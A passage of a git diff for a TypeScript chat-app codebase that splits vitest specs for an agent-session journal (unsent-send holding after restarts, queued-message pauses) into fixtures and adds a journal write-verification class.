a send with no message body', () => { + const body = fixture.message('x') + expect(unsentSendKeptAsCard({ source: USER_MESSAGE_SOURCE }, body)).toBe(body) + expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: 'agent' } }, body)).toBeNull() + expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: '' } }, body)).toBeNull() + expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: 'orca' } }, body)).toBeNull() + expect(unsentSendKeptAsCard({ origin: 'client', queuedMessageId: 'card' }, body)).toBeNull() + expect(unsentSendKeptAsCard({ origin: 'client' }, null)).toBeNull() + }) + + it('never keeps a source kind this build does not know, whatever its origin', async () => { + const journal = await fixture.afterRestart(async (earlier) => { + await earlier.appendSubmission({ + clientMessageId: 'future', + payloadFingerprint: fixture.fingerprint(fixture.message('from a newer build')), + body: fixture.message('from a newer build'), + fence: 0, + handoverRecorded: true, + origin: 'client', + source: USER_MESSAGE_SOURCE + }) + await fixture.storeSubmissionSourceAs(earlier, 'future', { kind: 'a-newer-kind' }) + }) + expect(journal.submission('future')?.source).toEqual({ kind: 'a-newer-kind' }) + await fixture.hold(journal) + expect(journal.queuedMessages.list()).toEqual([]) + expect(journal.submission('future')).toMatchObject({ dispatchState: 'rejected' }) + }) + + it('never keeps a send whose stored source has no readable kind', async () => { + const journal = await fixture.afterRestart(async (earlier) => { + await earlier.appendSubmission({ + clientMessageId: 'unreadable', + payloadFingerprint: fixture.fingerprint(fixture.message('unreadable')), + body: fixture.message('unreadable'), + fence: 0, + handoverRecorded: true, + origin: 'client', + source: USER_MESSAGE_SOURCE + }) + await fixture.storeSubmissionSourceAs(earlier, 'unreadable', {}) + }) + expect(journal.submission('unreadable')?.source).toEqual({ kind: '' }) + await fixture.hold(journal) + expect(journal.queuedMessages.list()).toEqual([]) + expect(journal.submission('unreadable')).toMatchObject({ dispatchState: 'rejected' }) + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold.spec.ts b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold.spec.ts index 670c42114d5..b898e59cd3c 100644 --- a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold.spec.ts @@ -1,477 +1,9 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import type { - AgentJournalMessageItem, - AgentJournalSubmission, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import { - USER_MESSAGE_SOURCE, - type AgentMessageSource, - type AgentSessionMessageSource -} from '../../../shared/agent-session/agent-session-message-source' -import { agentSessionFailureFact } from '../../../shared/agent-session-failure' -import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' -import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { structuredAgentSessionPayloadFingerprint } from '../../../shared/structured-agent-session-mutation' -import { structuredAgentSessionCompactBody } from '../agent-session-wire/structured-agent-session-command-turn' -import { - holdUnsentSends, - unsentSendKeptAsCard, - type UnsentSendHold -} from './journal-unsent-send-hold' -import type { AgentSessionJournal } from './journal-store' -import { - closeTestJournalHostDatabases, - createTrackedJournalOpener, - liveTestJournalRows, - openTestJournalHostDatabase, - updateTestJournalRowJson -} from './journal-host-database-test-support' +import { createFixture } from './journal-unsent-send-hold-contract-test-fixture' +import { registerJournalUnsentSendHoldRecoveryTests } from './journal-unsent-send-hold-recovery.spec' +import { registerJournalUnsentSendHoldQueueTests } from './journal-unsent-send-hold-queue.spec' export function registerJournalUnsentSendHoldTests(): void { - const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-held', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'claude', - providerHandle: claudeProviderHandle('native-1', null) - } - const HOST_RESTARTED = agentSessionFailureWords(agentSessionFailureFact('hostRestarted'), { - surface: 'rejection' - }) - const CHAT_CLOSED = agentSessionFailureWords(agentSessionFailureFact('chatClosed'), { - surface: 'rejection' - }) - - let root: string - let clock = 1_000 - let epochs = 0 - const journals = createTrackedJournalOpener() - - function message(text: string): AgentJournalMessageItem { - return { kind: 'message', role: 'user', blocks: [{ type: 'text', text }] } - } - - function fingerprint(body: AgentJournalMessageItem): string { - return structuredAgentSessionPayloadFingerprint({ - method: 'agentSession.send', - sessionId: IDENTITY.sessionId, - fields: { body } - }) - } - - async function open(): Promise { - return journals.open({ - identity: IDENTITY, - stateDirectory: root, - now: () => (clock += 1), - mintEpoch: () => `epoch-${(epochs += 1)}` - }) - } - - function hold(journal: AgentSessionJournal, settle: UnsentSendHold = { cause: 'hostRestarted' }) { - return holdUnsentSends(journal, { fence: 0, hold: settle }) - } - - const MAIL_SOURCE: AgentMessageSource = { - kind: 'agent', - senders: [ - { - party: { address: 'agent:coordinator', terminalHandle: null, orcaSessionId: null }, - name: null - } - ], - orchestration: { - message: 'mail-notice', - mailbox: 'agent:worker', - dispatchId: null, - messages: [] - } - } - - async function accept( - journal: AgentSessionJournal, - id: string, - fields: { - body?: AgentJournalMessageItem - origin?: 'client' | 'host' - source?: AgentSessionMessageSource - } = {} - ): Promise { - const body = fields.body ?? message(`text of ${id}`) - await journal.appendSubmission({ - clientMessageId: id, - payloadFingerprint: fingerprint(body), - body, - fence: 0, - handoverRecorded: true, - ...(fields.origin ? { origin: fields.origin } : {}), - ...(fields.source ? { source: fields.source } : {}) - }) - } - - async function afterRestart( - write: (journal: AgentSessionJournal) => Promise - ): Promise { - const earlier = await open() - await write(earlier) - await earlier.close() - return open() - } - - function storeSubmissionSourceAs( - journal: AgentSessionJournal, - id: string, - source: unknown - ): void { - const seq = journal.submission(id)?.submittedSequence - const { db } = openTestJournalHostDatabase(root) - const stored = liveTestJournalRows(db, IDENTITY.sessionId).find((row) => row.seq === seq) - if (!stored) { - throw new Error(`no stored row for ${id}`) - } - const row: unknown = JSON.parse(stored.rowJson) - updateTestJournalRowJson( - db, - IDENTITY.sessionId, - stored.seq, - JSON.stringify({ ...(typeof row === 'object' ? row : {}), source }) - ) - } - - function cardOrder(journal: AgentSessionJournal): string[] { - return journal.queuedMessages - .list() - .filter((card) => card.state === 'waiting') - .map((card) => card.messageId) - } - - beforeEach(async () => { - epochs = 0 - root = await mkdtemp(join(tmpdir(), 'orca-unsent-hold-')) - }) - - afterEach(async () => { - await journals.closeAll() - await closeTestJournalHostDatabases() - await rm(root, { recursive: true, force: true }) - }) - - describe('which sends an earlier host process left unsent are kept', () => { - it('keeps a person’s and a launch’s text, and an older build’s client send', async () => { - const journal = await afterRestart(async (earlier) => { - await accept(earlier, 'person', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await accept(earlier, 'launch', { origin: 'host', source: USER_MESSAGE_SOURCE }) - await accept(earlier, 'legacy-client', { origin: 'client' }) - }) - await hold(journal) - - expect(cardOrder(journal)).toEqual(['person', 'launch', 'legacy-client']) - await journal.close() - const reopened = await open() - for (const id of ['person', 'launch', 'legacy-client']) { - expect(reopened.submission(id)).toMatchObject({ - dispatchState: 'rejected', - ...HOST_RESTARTED, - keptAsQueuedMessageId: id - }) - expect(reopened.queuedMessages.get(id)).toMatchObject({ - state: 'waiting', - holdReason: null, - body: message(`text of ${id}`), - fingerprint: fingerprint(message(`text of ${id}`)), - queuedAt: { epoch: 'epoch-1', sequence: reopened.submission(id)?.acceptedSequence } - }) - } - }) - - it('rejects mail, a dispatch preamble, a continuation, /compact, an image, and a send no one can attribute', async () => { - const image: AgentJournalMessageItem = { - kind: 'message', - role: 'user', - blocks: [ - { type: 'text', text: 'look' }, - { type: 'image-ref', path: '/tmp/attachment.png' } - ] - } - const journal = await afterRestart(async (earlier) => { - await accept(earlier, 'mail', { origin: 'host', source: MAIL_SOURCE }) - await accept(earlier, 'dispatch', { origin: 'host' }) - await accept(earlier, 'continuation', { origin: 'host' }) - await accept(earlier, 'compact', { - origin: 'client', - source: USER_MESSAGE_SOURCE, - body: structuredAgentSessionCompactBody() - }) - await accept(earlier, 'image', { - origin: 'client', - source: USER_MESSAGE_SOURCE, - body: image - }) - await accept(earlier, 'legacy-host', { origin: 'host' }) - await accept(earlier, 'no-origin') - }) - await hold(journal) - - expect(journal.queuedMessages.list()).toEqual([]) - for (const id of [ - 'mail', - 'dispatch', - 'continuation', - 'compact', - 'image', - 'legacy-host', - 'no-origin' - ]) { - expect(journal.submission(id)).toMatchObject({ - dispatchState: 'rejected', - ...HOST_RESTARTED - }) - expect(journal.submission(id)).not.toHaveProperty('keptAsQueuedMessageId') - } - }) - - it.each([ - { by: 'Send now', origin: 'client' as const }, - { by: 'the queue', origin: 'host' as const } - ])( - 'a card’s own hand-off by $by returns its card, and makes no second one', - async ({ origin }) => { - const journal = await afterRestart(async (earlier) => { - await earlier.queuedMessages.insert({ - messageId: 'card', - body: message('card text') - }) - await earlier.appendSubmission( - { - clientMessageId: 'handoff', - payloadFingerprint: fingerprint(message('card text')), - body: message('card text'), - fence: 0, - handoverRecorded: true, - origin - }, - { messageId: 'card', expect: 'waiting' } - ) - }) - await hold(journal) - - expect(journal.queuedMessages.list()).toHaveLength(1) - expect(journal.queuedMessages.get('card')).toMatchObject({ - state: 'waiting', - consumedAs: null, - holdReason: null - }) - expect(journal.queuedMessages.get('handoff')).toBeNull() - } - ) - - it('leaves alone what this process accepted', async () => { - const journal = await open() - await accept(journal, 'mine', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await hold(journal) - expect(journal.submission('mine')?.dispatchState).toBe('pending') - expect(journal.queuedMessages.list()).toEqual([]) - }) - - it('never keeps a queue hand-off, a card’s link, or a send with no message body', () => { - const body = message('x') - expect(unsentSendKeptAsCard({ source: USER_MESSAGE_SOURCE }, body)).toBe(body) - expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: 'agent' } }, body)).toBeNull() - expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: '' } }, body)).toBeNull() - expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: 'orca' } }, body)).toBeNull() - expect(unsentSendKeptAsCard({ origin: 'client', queuedMessageId: 'card' }, body)).toBeNull() - expect(unsentSendKeptAsCard({ origin: 'client' }, null)).toBeNull() - }) - - it('never keeps a source kind this build does not know, whatever its origin', async () => { - const journal = await afterRestart(async (earlier) => { - await earlier.appendSubmission({ - clientMessageId: 'future', - payloadFingerprint: fingerprint(message('from a newer build')), - body: message('from a newer build'), - fence: 0, - handoverRecorded: true, - origin: 'client', - source: USER_MESSAGE_SOURCE - }) - storeSubmissionSourceAs(earlier, 'future', { kind: 'a-newer-kind' }) - }) - expect(journal.submission('future')?.source).toEqual({ kind: 'a-newer-kind' }) - await hold(journal) - expect(journal.queuedMessages.list()).toEqual([]) - expect(journal.submission('future')).toMatchObject({ dispatchState: 'rejected' }) - }) - - it('never keeps a send whose stored source has no readable kind', async () => { - const journal = await afterRestart(async (earlier) => { - await earlier.appendSubmission({ - clientMessageId: 'unreadable', - payloadFingerprint: fingerprint(message('unreadable')), - body: message('unreadable'), - fence: 0, - handoverRecorded: true, - origin: 'client', - source: USER_MESSAGE_SOURCE - }) - storeSubmissionSourceAs(earlier, 'unreadable', {}) - }) - expect(journal.submission('unreadable')?.source).toEqual({ kind: '' }) - await hold(journal) - expect(journal.queuedMessages.list()).toEqual([]) - expect(journal.submission('unreadable')).toMatchObject({ dispatchState: 'rejected' }) - }) - }) - - describe('where kept sends go in the queue', () => { - it.each([ - { by: 'Send now', origin: 'client' as const, order: ['A', 'H', 'B', 'C'] }, - { by: 'the queue', origin: 'host' as const, order: ['A', 'B', 'H', 'C'] } - ])( - 'in acceptance order, ahead of the cards already waiting, a hand-off by $by among them', - async ({ origin, order }) => { - const journal = await afterRestart(async (earlier) => { - await earlier.queuedMessages.insert({ - messageId: 'H', - body: message('H') - }) - await earlier.queuedMessages.insert({ - messageId: 'C', - body: message('C') - }) - await accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await earlier.appendSubmission( - { - clientMessageId: 'H-handoff', - payloadFingerprint: fingerprint(message('H')), - body: message('H'), - fence: 0, - handoverRecorded: true, - origin - }, - { messageId: 'H', expect: 'waiting' } - ) - await accept(earlier, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) - }) - await hold(journal) - - expect(cardOrder(journal)).toEqual(order) - } - ) - - it('a run a crash cut short is placed again with the rest, in acceptance order', async () => { - const interrupted = await afterRestart(async (earlier) => { - await earlier.queuedMessages.insert({ - messageId: 'C', - body: message('C') - }) - await accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await accept(earlier, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) - }) - // Simulate a crash after keeping A at a stale position but before settling B. - await interrupted.resolveDispatch( - { - clientMessageId: 'A', - state: 'rejected', - ...HOST_RESTARTED, - fence: 0, - recovered: true, - keptAsQueuedMessageId: 'A' - }, - () => - interrupted.queuedMessages.plan([ - { - messageId: 'A', - change: { - op: 'queued', - body: message('text of A'), - queuedAt: { - epoch: 'epoch-1', - sequence: interrupted.submission('A')!.acceptedSequence! - }, - position: 5 - } - } - ]) - ) - await interrupted.close() - const journal = await open() - await hold(journal) - - expect(cardOrder(journal)).toEqual(['A', 'B', 'C']) - }) - }) - - describe('a close of the chat', () => { - it('keeps a person’s unsent send in place, rejected as closed, by the same rule as a restart', async () => { - const journal = await open() - await accept(journal, 'person', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await accept(journal, 'mail', { origin: 'host', source: MAIL_SOURCE }) - await hold(journal, { cause: 'chatClosed' }) - - expect(cardOrder(journal)).toEqual(['person']) - expect(journal.queuedMessages.get('person')).toMatchObject({ holdReason: null }) - for (const id of ['person', 'mail']) { - expect(journal.submission(id)).toMatchObject({ dispatchState: 'rejected', ...CHAT_CLOSED }) - } - }) - - it('settles only what `which` names, leaving a later send queued', async () => { - const journal = await open() - await accept(journal, 'before', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await accept(journal, 'after', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await hold(journal, { - cause: 'chatClosed', - which: (submission) => submission.clientMessageId === 'before' - }) - - expect(cardOrder(journal)).toEqual(['before']) - expect(journal.submission('after')?.dispatchState).toBe('pending') - }) - }) - - describe('the order kept cards stand in', () => { - it('a card kept before the epoch rolled stays ahead of one kept after it', async () => { - const journal = await afterRestart(async (earlier) => { - for (const id of ['m1', 'm2', 'm3']) { - await accept(earlier, id, { origin: 'host', source: MAIL_SOURCE }) - } - await accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) - }) - await hold(journal) - await journal.rollEpoch('handle_forked', 0) - await accept(journal, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await journal.close() - const reopened = await open() - await hold(reopened) - - expect(reopened.queuedMessages.get('A')?.queuedAt?.epoch).not.toBe( - reopened.queuedMessages.get('B')?.queuedAt?.epoch - ) - expect(cardOrder(reopened)).toEqual(['A', 'B']) - }) - }) - - describe('the source a send records', () => { - it('is folded from the row; a row without one folds without it', async () => { - const journal = await open() - await accept(journal, 'with-source', { origin: 'host', source: USER_MESSAGE_SOURCE }) - await accept(journal, 'without', { origin: 'client' }) - const folded: AgentJournalSubmission | undefined = journal.submission('with-source') - expect(folded?.source).toEqual({ kind: 'user' }) - expect(journal.submission('without')).not.toHaveProperty('source') - }) - - it('keeps only the kind of an agent’s source, never its senders', async () => { - const journal = await open() - await accept(journal, 'mail', { origin: 'host', source: MAIL_SOURCE }) - await journal.close() - const reopened = await open() - expect(reopened.submission('mail')?.source).toEqual({ kind: 'agent' }) - expect(JSON.stringify(reopened.submission('mail'))).not.toContain('agent:coordinator') - }) - }) + const fixture = createFixture() + registerJournalUnsentSendHoldRecoveryTests(fixture) + registerJournalUnsentSendHoldQueueTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-write-projection.ts b/src/main/native-chat/agent-session-journal/journal-write-projection.ts new file mode 100644 index 00000000000..842ef5e00d2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-write-projection.ts @@ -0,0 +1,77 @@ +import { isDeepStrictEqual } from 'node:util' +import type Database from '../../sqlite/sync-database' +import type { JournalHostDatabase } from './journal-host-database' +import type { JournalReducerState } from './journal-reducer' +import type { JournalRow } from './journal-row-schema' +import { prepareJournalOutcomeWrite } from './journal-outcome-write' +import { encodeJournalState } from './journal-state-codec' +import { restoreJournal } from './journal-open' + +// A full restore per check: development samples each chat so long streams stay responsive. +const DEVELOPMENT_VERIFY_INTERVAL_MS = 60_000 + +/** Writes outcome records with each append and adopts their transition once the write commits. */ +export class JournalWriteProjection { + /** Projection tests check the equality invariant after every commit and throw on divergence. */ + static verifyEachCommit = false + + private verifiedAt = Number.NEGATIVE_INFINITY + + constructor( + private readonly deps: { + database: JournalHostDatabase + state: () => JournalReducerState + adopt: (state: JournalReducerState) => void + } + ) {} + + /** The callback is invoked only after the outer transaction has committed. */ + prepare(db: Database.Database, rows: readonly JournalRow[], savedAt: number): () => void { + const transition = prepareJournalOutcomeWrite(db, this.deps.state(), rows, savedAt) + return () => this.deps.adopt(transition.adopt()) + } + + /** Runs after commit notification, never in the adopt path. */ + verify(): void { + if (JournalWriteProjection.verifyEachCommit) { + this.checkEquivalent() + return + } + const now = performance.now() + if ( + process.env.NODE_ENV !== 'development' || + now - this.verifiedAt < DEVELOPMENT_VERIFY_INTERVAL_MS + ) { + return + } + this.verifiedAt = now + try { + this.checkEquivalent() + } catch (error) { + logJournalVerifyFailure(this.deps.state().sessionId, error) + } + } + + /** Every saved form (input fold, prefix plus records, or records alone) must restore the live + * state. */ + private checkEquivalent(): void { + const live = this.deps.state() + const loaded = restoreJournal(this.deps.database.db, live.sessionId) + if ( + !loaded || + loaded.damage || + loaded.newer || + !isDeepStrictEqual(encodeJournalState(loaded.state), encodeJournalState(live)) + ) { + throw new Error('journal saved state differs from live state') + } + } +} + +function logJournalVerifyFailure(sessionId: string, error: unknown): void { + try { + console.warn('[agent-session-journal] saved chat differs from live chat', { sessionId, error }) + } catch { + // Diagnostics never turn a development check into a rejected send. + } +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-pause-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/queued-message-pause-contract-test-fixture.ts new file mode 100644 index 00000000000..38e922d0c5f --- /dev/null +++ b/src/main/native-chat/agent-session-journal/queued-message-pause-contract-test-fixture.ts @@ -0,0 +1,193 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalMessageItem, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import Database from '../../sqlite/sync-database' +import { journalDatabasePath } from './journal-host-database' +import { + createTrackedJournalOpener, + liveTestJournalRows, + readTestJournalOutcomes, + updateTestJournalRowJson +} from './journal-host-database-test-support' +import { parseJournalRow } from './journal-row-schema' +import { fields } from './journal-state-schema' +import type { AgentSessionJournal } from './journal-store' +import { queuePauseHolding } from './queued-message-pause' +import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' + +export function createFixture() { + const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-p', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'claude', + providerHandle: claudeProviderHandle('native-1', null) + } + + let root: string + + let clock = 1_000 + + const journals = createTrackedJournalOpener({ legacyInputs: true }) + + function message(text: string): AgentJournalMessageItem { + return { kind: 'message', role: 'user', blocks: [{ type: 'text', text }] } + } + + function fingerprintOf(text: string): string { + return agentSessionSendBodyFingerprint(IDENTITY.sessionId, message(text)) + } + + function open(): Promise { + return journals.open({ + identity: IDENTITY, + stateDirectory: root, + now: () => ++clock, + mintEpoch: () => `epoch-${clock}` + }) + } + + function queueDraft(journal: AgentSessionJournal, messageId: string) { + return journal.queuedMessages.insert({ messageId, body: message(messageId) }) + } + + function clearContext(journal: AgentSessionJournal) { + return journal.context.clear( + { operationId: `clear-${++clock}`, afterFence: 0, clearedAt: clock }, + { write: () => {}, committed: () => {} } + ) + } + + async function turn(journal: AgentSessionJournal, id: string, accept = true): Promise { + await journal.appendSubmission({ + clientMessageId: id, + payloadFingerprint: `fp-${id}`, + body: message(id), + fence: 0, + handoverRecorded: true + }) + if (accept) { + await acceptTurn(journal, id) + } + } + + function acceptTurn(journal: AgentSessionJournal, id: string) { + return journal.resolveDispatch({ + clientMessageId: id, + state: 'accepted', + providerIdentity: { provider: 'claude', sessionId: 'native-1', uuid: `echo-${id}` }, + fence: 0 + }) + } + + function userStop(journal: AgentSessionJournal) { + return journal.appendStopEvent({ reason: 'user-stop' }, 0) + } + + function reason(journal: AgentSessionJournal): string | null { + return journal.queuedMessages.pauses()[0]?.reason ?? null + } + + function held(journal: AgentSessionJournal): [string, boolean][] { + const pauses = journal.queuedMessages.pauses() + return journal.queuedMessages + .list() + .filter((card) => card.state === 'waiting') + .map((card) => [card.messageId, queuePauseHolding(pauses, card) !== undefined]) + } + + function stopEvents(): unknown[] { + const db = new Database(journalDatabasePath(root), { readonly: true }) + try { + // An outcome epoch (every replaced one) stores the Stop as pause marks, not as an input row. + const marks = readTestJournalOutcomes(db, IDENTITY.sessionId).filter( + (value) => value.field === '$' && value.key === JSON.stringify('queuePauseMarks') + ) + if (marks.length > 0) { + const stop = fields.queuePauseMarks.parse(JSON.parse(marks.at(-1)!.json)).latestStop + return stop ? [stop.event] : [] + } + return liveTestJournalRows(db, IDENTITY.sessionId).flatMap((stored) => { + const parsed = parseJournalRow(stored.rowJson) + return parsed.ok && parsed.row.kind === 'tombstone' && parsed.row.stopEvent + ? [parsed.row.stopEvent] + : [] + }) + } finally { + db.close() + } + } + + function rewriteRows(keys: Record): void { + const db = new Database(journalDatabasePath(root)) + try { + for (const stored of liveTestJournalRows(db, IDENTITY.sessionId)) { + const rewrite = keys[stored.seq] + if (rewrite) { + const row: Record = JSON.parse(stored.rowJson) + row[rewrite[0]] = rewrite[1] + updateTestJournalRowJson(db, IDENTITY.sessionId, stored.seq, JSON.stringify(row)) + } + } + } finally { + db.close() + } + } + + function pauseTables(): number { + const db = new Database(journalDatabasePath(root), { readonly: true }) + try { + return db + .prepare("SELECT name FROM sqlite_master WHERE type = 'table' AND name LIKE '%pause%'") + .all().length + } finally { + db.close() + } + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-queue-pause-')) + clock = 1_000 + }) + + afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + return { + IDENTITY, + acceptTurn, + clearContext, + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + fingerprintOf, + held, + journals, + message, + open, + pauseTables, + queueDraft, + reason, + rewriteRows, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + stopEvents, + turn, + userStop + } +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-pause-held-cards.spec.ts b/src/main/native-chat/agent-session-journal/queued-message-pause-held-cards.spec.ts new file mode 100644 index 00000000000..7c54d574f6a --- /dev/null +++ b/src/main/native-chat/agent-session-journal/queued-message-pause-held-cards.spec.ts @@ -0,0 +1,108 @@ +import { describe, expect, it } from 'vitest' +import { + deriveQueuePauses, + nextSendableQueuedCard, + queuePauseHolding, + resumableQueuePause +} from './queued-message-pause' + +export function registerQueuedMessagePauseHeldCardsTests(): void { + describe('which cards the pauses in force hold', () => { + type Card = Parameters[1] & { messageId: string } + + function card(messageId: string, queuedAfter: number, fields: Partial = {}): Card { + const queuedAt = { epoch: 'epoch-1', sequence: queuedAfter + 1 } + const base = { state: 'waiting', holdReason: null } + return { messageId, ...base, queuedAt, ...fields } + } + + /** Simulate Stop/open boundaries with no subsequent turn, Resume or reopen mark. */ + function pausesOver(cards: readonly Card[], stopped = 5, opened = 0, clearedIds?: string[]) { + return deriveQueuePauses({ + epoch: 'epoch-1', + marks: { + latestStop: stopped ? { sequence: stopped, event: { reason: 'user-stop', at: 0 } } : null, + resumedSequence: 0, + reopenedSequence: 0, + ...(clearedIds + ? { cleared: { sequence: 4, operationId: 'clear', messageIds: clearedIds } } + : {}) + }, + latestAcceptedTurnSequence: 0, + cards, + reopenFloor: opened ? { epoch: 'epoch-1', sequence: opened + 1 } : null + }) + } + + function holding( + cards: readonly Card[], + stopped?: number, + opened?: number + ): [string, string | null][] { + const pauses = pausesOver(cards, stopped, opened) + return cards.map((each) => [each.messageId, queuePauseHolding(pauses, each)?.reason ?? null]) + } + + it('a Stop holds a card with no recorded position, and one queued before a rewind', () => { + const cards = [ + card('unrecorded', 5, { queuedAt: null }), + // Epoch precedence outranks raw sequence values. + card('before-rewind', 5, { queuedAt: { epoch: 'epoch-0', sequence: 9 } }), + card('after', 5) + ] + expect(holding(cards)).toEqual([ + ['unrecorded', 'stopped'], + ['before-rewind', 'stopped'], + ['after', null] + ]) + }) + + it("a Stop that holds nothing never hides a reopen's: a card from before the open waits", () => { + const after = card('after', 5) + expect(pausesOver([after], 5, 6).map((pause) => pause.reason)).toEqual([ + 'stopped', + 'restarted' + ]) + expect(holding([after], 5, 6)).toEqual([['after', 'restarted']]) + expect(nextSendableQueuedCard(pausesOver([after], 5, 6), [after])).toBeNull() + expect(nextSendableQueuedCard(pausesOver([after]), [after])).toBe(after) + }) + + it("a card names the first pause holding it, and the header names the first held card's", () => { + const cards = [card('before', 3), card('after', 5)] + expect(holding(cards, 5, 6)).toEqual([ + ['before', 'stopped'], + ['after', 'restarted'] + ]) + expect(resumableQueuePause(pausesOver(cards, 5, 6), cards)?.reason).toBe('stopped') + }) + + it('a card from before the open waits in order, and so do the cards behind it', () => { + const cards = [card('kept', 1), card('behind', 2)] + expect(holding(cards, 0, 4)).toEqual([ + ['kept', 'restarted'], + ['behind', 'restarted'] + ]) + expect(nextSendableQueuedCard(pausesOver(cards, 0, 4), cards)).toBeNull() + }) + + it('a card held on its own from before the open starts no reopen pause', () => { + const cards = [card('held', 1, { holdReason: 'send_failed' }), card('live', 5)] + expect(pausesOver(cards, 0, 4)).toEqual([]) + expect(nextSendableQueuedCard(pausesOver(cards, 0, 4), cards)?.messageId).toBe('live') + }) + + it("a /clear's pause that holds nothing never hides a reopen's", () => { + const cards = [card('cleared', 1, { holdReason: 'send_failed' }), card('typed', 2)] + const pauses = pausesOver(cards, 0, 4, ['cleared']) + expect(pauses.map((pause) => pause.reason)).toEqual(['cleared', 'restarted']) + expect( + cards.map((each) => [each.messageId, queuePauseHolding(pauses, each)?.reason ?? null]) + ).toEqual([ + ['cleared', null], + ['typed', 'restarted'] + ]) + expect(nextSendableQueuedCard(pauses, cards)).toBeNull() + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-pause.spec.ts b/src/main/native-chat/agent-session-journal/queued-message-pause.spec.ts index 9b161a0611d..5592a125968 100644 --- a/src/main/native-chat/agent-session-journal/queued-message-pause.spec.ts +++ b/src/main/native-chat/agent-session-journal/queued-message-pause.spec.ts @@ -1,725 +1,11 @@ -// Derive pauses from journal rows; never maintain a second stored pause state. - -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { - AgentJournalMessageItem, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import Database from '../../sqlite/sync-database' -import { journalDatabasePath } from './journal-host-database' -import { - createTrackedJournalOpener, - liveTestJournalRows, - updateTestJournalRowJson -} from './journal-host-database-test-support' -import { QueuedMessageNotConsumableError } from './queued-message-consume-error' -import { applyJournalRow, createJournalReducerState } from './journal-reducer' -import { parseJournalRow } from './journal-row-schema' -import type { AgentSessionJournal } from './journal-store' -import { - deriveQueuePauses, - nextSendableQueuedCard, - queuePauseHolding, - resumableQueuePause -} from './queued-message-pause' -import { agentSessionFailureFact } from '../../../shared/agent-session-failure' -import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' -import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import { createFixture } from './queued-message-pause-contract-test-fixture' +import { registerQueuedMessageStopPauseTests } from './queued-message-stop-pause.spec' +import { registerQueuedMessageReopenPauseTests } from './queued-message-reopen-pause.spec' +import { registerQueuedMessagePauseHeldCardsTests } from './queued-message-pause-held-cards.spec' export function registerQueuedMessagePauseTests(): void { - const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-p', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'claude', - providerHandle: claudeProviderHandle('native-1', null) - } - - let root: string - let clock = 1_000 - const journals = createTrackedJournalOpener() - - function message(text: string): AgentJournalMessageItem { - return { kind: 'message', role: 'user', blocks: [{ type: 'text', text }] } - } - - function fingerprintOf(text: string): string { - return agentSessionSendBodyFingerprint(IDENTITY.sessionId, message(text)) - } - - function open(): Promise { - return journals.open({ - identity: IDENTITY, - stateDirectory: root, - now: () => ++clock, - mintEpoch: () => `epoch-${clock}` - }) - } - - function queueDraft(journal: AgentSessionJournal, messageId: string) { - return journal.queuedMessages.insert({ messageId, body: message(messageId) }) - } - - function clearContext(journal: AgentSessionJournal) { - return journal.context.clear( - { operationId: `clear-${++clock}`, afterFence: 0, clearedAt: clock }, - { write: () => {}, committed: () => {} } - ) - } - - async function turn(journal: AgentSessionJournal, id: string, accept = true): Promise { - await journal.appendSubmission({ - clientMessageId: id, - payloadFingerprint: `fp-${id}`, - body: message(id), - fence: 0, - handoverRecorded: true - }) - if (accept) { - await acceptTurn(journal, id) - } - } - - function acceptTurn(journal: AgentSessionJournal, id: string) { - return journal.resolveDispatch({ - 